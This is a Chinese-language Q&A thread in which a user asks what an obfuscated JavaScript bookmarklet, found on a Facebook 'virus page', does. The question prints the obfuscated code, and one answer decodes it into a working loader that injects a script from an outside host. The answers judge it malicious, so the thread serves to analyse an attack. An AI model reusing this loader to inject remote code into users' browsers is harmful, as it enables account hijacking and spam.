Question

我在Facebook病毒页here中找到了这个javascript。我认为代码是恶意的，所以我想知道它的作用。这是代码：

javascript: var _0xa064=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x2F\x2F\x64\x74\x67\x2D\x63\x73\x2E\x68\x6F\x73\x74\x6F\x69\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x66\x65\x73\x6F\x72\x69\x63\x61\x2F\x66\x75\x72\x6B\x61\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0xa064[2]](_0xa064[1]))[_0xa064[0]]=_0xa064[3];b[_0xa064[5]][_0xa064[4]](a); void (0);

Answer 1

(a = (b = document)['createElement']('script'))['src'] = '//dtg-cs.hostoi.com/profesorica/furka.js';
b['body']['appendChild'](a);
void(0);

Answer 2

它会创建一个导入

的脚本标记

dtg-cs.hostoi.com/profesorica/furka.js

我强烈怀疑这是恶意的。

编辑 - 因为该脚本在各种ajax请求中包含对名为“penis-xd.jpg”的文件的引用，我认为我们绝对可以将其视为恶意： - ）

Answer 3

尝试加载：dtg-cs.hostoi.com/profesorica/furka.js

有人可以解码这个JavaScript吗？

3 个答案: